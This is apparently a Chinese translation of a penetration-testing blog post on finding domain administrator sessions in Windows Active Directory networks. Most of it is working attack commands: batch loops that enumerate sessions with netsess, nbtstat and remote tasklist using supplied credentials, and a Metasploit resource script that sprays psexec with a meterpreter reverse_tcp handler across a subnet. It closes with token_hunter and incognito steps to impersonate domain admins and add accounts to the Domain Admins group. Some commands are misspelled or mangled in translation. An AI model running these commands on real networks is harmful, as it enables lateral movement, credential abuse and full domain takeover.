前言
域管理进程转移,使得渗透测试人员能够模拟在互联网上的域名管理员账户进行操作。尽管如此,在渗透测试开始之前需要确认系统中进程是否运行。在这篇博文中,我讲介绍5个技巧来帮助大家去做这些事情。
获取域名管理员权限
在大多数情况下,本篇文章关注的焦点在于识别运行于域名管理进程的系统。
以下为大部分渗透测试人员获取域名管理权限的过程
整个过程在大多渗透测试社区中都有提到,如果你想了解更多详情,可以通过Google找到许多指导书,技术文章,演示视频。在本文中,我们注重的是前面提到的定位域管理进程或者获取远程系统上的本地身份验证令牌。
寻找域名管理进程
下面开始讲解我承诺给大家的5个技巧。
检测目标系统总是第一步,以下是一个使用本地命令检测域管理进程的简单方法。
1
|
net group “Domain Admins” /domain
|
1
|
Tasklist /v
|
在目标系统中,如果域管理进程一开始就是可用的那就好办了,但有时候,并非我们想的那么简单。所以,接下来的4个技巧会帮你在远程域系统中找出域管理进程。
据我所知,这个技巧是由一个NetSPI造成的。我们需要一个方法去识别活跃域名管理进程,或者是关闭IDS进行一些扫描。最终它会出现一个简单查询域控制器,获取活跃域用户以及交叉引用域管理员列表。美中不足的是,你需要查询所有的域控制器。下面我会提供一个基本步骤来获取活跃域管理员。
1
|
net group “Domain Controllers” /domain
|
重要提示:从单元中获取到的域控制器的列表可信度十分高。但请记住,你应该通过列举信任域进程并标记这些域控制器。此外你也可以通过DNS查看
1
|
Nslookup –type=SRV _ldap._tcp.
|
1
|
net group “Domain Admins” /domain
|
1
|
Netsess.exe –h
|
1
2
|
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
|
我写了一个简单的批处理脚本GDA,它可以使整个过程完全自动化,详情可以看readme文件。在Mark Beard以及Ivan Dasilva的启发下,我还创建了一个名为GDU的脚本进行Windows字典攻击。如果你感兴趣,可以通过点击上面的链接下载
通常经过前面两个技巧的摧残,大部分情况都能攻下了。然而,我在LaNMSteR53的博客上看到另外一种聪明的方法。如果你使用共享本地管理员帐户运行域系统,你可以运行下面的脚本扫描系统中的域管理任务。类似于前面提到的技巧,同样首先需要列举域管理员。下面的脚本包含,ips.txt目标系统列表,names.txt域管理员列表。
1
2
|
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
|
一些Windows系统仍然允许用户通过NetBIOS查询已登录用户,同样也可以使用原生的nbtstat工具进行查询
1
|
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
|
1
|
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
|
1
2
3
4
5
|
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass
#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff – range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require ‘rex/socket/range_walker’ rhosts = “192.168.1.0/24″ iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| #self allows for execution of commands in msfconsole self.run_single(“set RHOST #{rhost}”) #-j-z send the session to the background self.run_single(“exploit -j -z”) end
|
1
|
msfconsole –r psexec_spray.rc
|
1
|
msfconsole msf> load token_hunter
|
1
|
msf> token_hunt_user -f /tmp/domain-admin.txt
|
1
|
Sessions –s loggedin
|
What Now?
如果你已经有一个meterpreter会话,你可以用进入隐身模式来冒充域管理员或者添加一个新的管理员。
1
|
load incongnito
|
1
2
|
add_user -h
add_group “”Domain Admins“” -h
|
参考
[via@netspi]
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号